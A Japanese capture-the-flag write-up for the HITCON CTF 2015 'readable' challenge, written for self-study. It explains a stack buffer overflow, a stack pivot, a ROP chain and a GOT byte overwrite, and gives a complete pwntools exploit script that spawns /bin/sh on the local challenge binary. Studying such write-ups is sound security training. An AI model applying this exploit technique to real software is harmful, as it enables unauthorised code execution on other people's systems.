HITCON CTF 2015 Quals readable

自習用に解きました。

概要

非常にシンプルな実行ファイル。main関数はこれだけ。

  4004fd:       55                      push   rbp
  4004fe:       48 89 e5                mov    rbp,rsp
  400501:       48 83 ec 10             sub    rsp,0x10
  400505:       48 8d 45 f0             lea    rax,[rbp-0x10]
  400509:       ba 20 00 00 00          mov    edx,0x20
  40050e:       48 89 c6                mov    rsi,rax
  400511:       bf 00 00 00 00          mov    edi,0x0
  400516:       b8 00 00 00 00          mov    eax,0x0
  40051b:       e8 c0 fe ff ff          call   4003e0 <read@plt>
  400520:       c9                      leave
  400521:       c3                      ret

アセンブリの通り、自明なバッファオーバーフローがあるのでそれでうまい具合にシェルを起動する問題。 ちなみにplt領域にある関数も非常に少なく、read, __libc_start_main, __gmon_start__だけとなっている。

$ objdump -d readable | grep 'plt>:'
00000000004003e0 <read@plt>:
00000000004003f0 <__libc_start_main@plt>:
0000000000400400 <__gmon_start__@plt>:

checksecの結果は

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exploit

main関数では2つのレジスタrip, rbpが操作可能なのでripをmain関数のlea rax,[rbp-0x10]へ、rbpを書き込みたい位置+0x10に設定し、ROPChainを作成する。また、leave命令によってrspの値も変わってしまう為、rspが適当な場所を指すように工夫する必要がある。
手順としては
1. 書き込みたいアドレス+0x10をrbpに設定&ripをmain関数のlea rax,[rbp-0x10]
2. 書き込みたいもの(0x10byte) + 適当なアドレス + main関数(1と同じ)を入力する。
3. 1へ

ROPChainではread@gotの下位1byteを書き換える事によってread命令の実行時にsyscallに直接飛ぶようにする。今回はlibcが与えられていないため総当りになるはずだけど255通りなので問題ないはず。read@gotを書き換える時、execveのシステムコール番号であるところの0x3b文字をreadの入力として与えることでraxを0x3bに設定することができ、ROPChainでrdi, rsi, rdxを設定してsyscallを実行することでシェルを起動出来る。

from pwn import *
import time

context.terminal = 'screen'

binary = './readable'
libcName = './libc.so.6'
elf = ELF(binary, False)
libc = ELF(libcName, False)
p = process(binary, env={'LD_PRELOAD': libcName})

# gdb.attach(p)
main = 0x00400505

buf = 0x600a00
read = 0x4003e0

def write(rbp, pad, ret=main):
    payload = ''
    payload += pad
    payload += p64(rbp + 0x100)
    payload += p64(ret)
    p.send(payload)
    payload = ''
    payload += 'A' * 0x10
    payload += p64(rbp)
    payload += p64(ret)
    p.send(payload)
'''
0x0040058a: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;
0x00400570: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]
0x00400593: pop rdi ; ret  ;
0x00400591: pop rsi ; pop r15 ; ret  ;
0x00400455: pop rbp; ret ;
0x400520: leave; ret
'''
payload = ''
payload += p64(0x400591)
payload += p64(elf.got['__libc_start_main'])
payload += 'A' * 8
payload += p64(elf.plt['read'])
payload += p64(0x40058a)
payload += p64(0x0)
payload += p64(buf+0x200)
payload += p64(elf.got['read'])
payload += p64(0x3b)
payload += p64(elf.got['read'] - 0x3a)
payload += p64(0x0)
payload += p64(0x400570)

payload += p64(0x40058a)
payload += p64(0x0)
payload += p64(buf+0x200)
payload += p64(elf.got['read'])
payload += p64(0x0)
payload += p64(0x0)
payload += p64(elf.got['read'] - 0x3a)
payload += p64(0x400570)

if len(payload) % 0x10 != 0:
    payload += 'A' * (0x10 - len(payload) % 0x10)

print 'len(payload): %d' % len(payload)
p.send('A' * 0x10 + p64(buf + 0x10) + p64(main))

for i in range(len(payload) / 0x10):
    write(buf + (i+1) * 0x10 + 0x10, payload[0x10*i:0x10*(i+1)])

p.send('A' * 0x10 + p64(buf-0x10) + p64(main))
p.send('A' * 0x10 + p64(buf) + p64(0x400521))

p.send(p64(0x400593) + 'A' * 0x18)
p.send('/bin/sh\x00' + 'A' * 50 + '\xae')

p.interactive()

最初に問題を解いた時はlibcを与えられたものと勘違いしてしまってwriteを実行後、leakしたアドレスを元にsystem関数経由でシェルを起動していた。この方法も上記のread@gotをsyscallのアドレスに上書き&システムコール返り値を利用して次のシステムコールを呼び出す、というようなことをしていた。(一度解いた後writeupを見て気づいた。)

参考

public-writeup/writeup.md at master · pwning/public-writeup · GitHub